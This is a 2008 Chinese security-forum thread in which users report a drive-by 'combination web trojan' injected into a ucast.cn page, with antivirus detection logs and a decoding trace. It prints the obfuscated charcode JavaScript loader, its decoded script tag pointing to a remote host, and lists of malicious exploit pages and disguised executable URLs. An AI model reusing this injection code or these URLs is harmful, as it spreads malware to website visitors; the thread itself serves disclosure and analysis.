组合网马

bksh

被挂页面：http://d1.ucast.cn/mcast/web/adv.jsp?i=104

挂马代码：<script>t="60,115,99,114,105,112,116,32,108,97,110,103,117,97,103,101,61,106,97,118,97,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,49,50,49,46,50,48,53,46,56,56,46,50,51,51,47,119,109,47,120,120,46,106,115,62,60,47,115,99,114,105,112,116,62"
t=eval("String.fromCharCode("+t+")");
document.write(t);</script>

解密代码：<script language=javascript src=http://121.205.88.233/wm/xx.js></script>

网马页面：http://baidu-jlk8.cn/b044933/b04.htm
http://baidu-jlk8.cn/b044933/../14.htm
http://baidu-jlk8.cn/b044933/fx.htm
http://baidu-jlk8.cn/b044933/../as.htm
http://baidu-jlk8.cn/b044933/../ce.htm
http://baidu-jlk8.cn/b044933/lzz.htm
http://baidu-jlk8.cn/b044933/real11.htm
http://baidu-jlk8.cn/b044933/../Bfyy.htm
http://baidu-jlk8.cn/b044933/../real10.htm
...........

是个组合网马

大家可以去这儿输入网址查看网页源代码
http://www.linkwan.com/gb/broadmeter/tools/viewsource.asp



[ 本帖最后由 bksh 于 2008-10-28 11:07 编辑 ]

aerbeisi

2008-10-27 12:11:18        HTTP 过滤器        文件        http://222.16i18.net/exe/aaa.css        Win32/TrojanDownloader.Small.WGA 特洛伊木马        连接中断 - 已隔离

narazzurri

唯利是图

无尽藏海

Older

费尔报了三个

qianwenxiang

关于:hxxp://121.205.88.233/wm/xx.js解密的日志(自动模式 -  22):

AUTO>http://121.205.88.233/wm/xx.js
AUTO>http://baidu-jlk8.cn/b044933/b04.htm
AUTO>http://web.51.la/go.asp?we=a-free-service-for-webmasters&svid=8&id=2181161&tpages=+a1161ops+&ttimes=+a1161ot+&tzone=+
AUTO>http://baidu-jlk8.cn/b044933/new.html
AUTO>http://js.users.51.la/2241765.js
AUTO>http://web.51.la/new.html
AUTO>http://baidu-jlk8.cn/b044933/../14.htm
AUTO>http://59.34.197.63/exe1/ms.css  ●
AUTO>http://baidu-jlk8.cn/b044933/fx.htm
AUTO>http://baidu-jlk8.cn/b044933/../as.htm
AUTO>http://59.34.197.63/exe1/ce.css  ●
AUTO>http://baidu-jlk8.cn/b044933/lzz.htm
AUTO>http://baidu-jlk8.cn/b044933/real11.htm
AUTO>http://baidu-jlk8.cn/b044933/../real10.htm
AUTO>http://baidu-jlk8.cn/b044933/../bfyy.htm
AUTO>http://59.34.197.63/exe1/bf.css  ●
AUTO>http://vip2.51.la/go.asp?we=a-free-service-for-webmasters&svid=6&id=2241765&tpages=+a1765ops+&ttimes=+a1765ot+&tzone=+
AUTO>http://baidu-jlk8.cn/b044933/mlink.html
AUTO>http://baidu-jlk8.cn/b044933/xlink.html
AUTO>http://baidu-jlk8.cn/b044933/../ce.htm
AUTO>http://baidu-jlk8.cn/b044933/swfobject.js
AUTO>http://baidu-jlk8.cn/b044933/+

啊弥陀佛

微点拦截

tanlimo

拦了







[ 本帖最后由 tanlimo 于 2008-10-28 13:44 编辑 ]

young789

打不开!

richiely

小a干掉了3个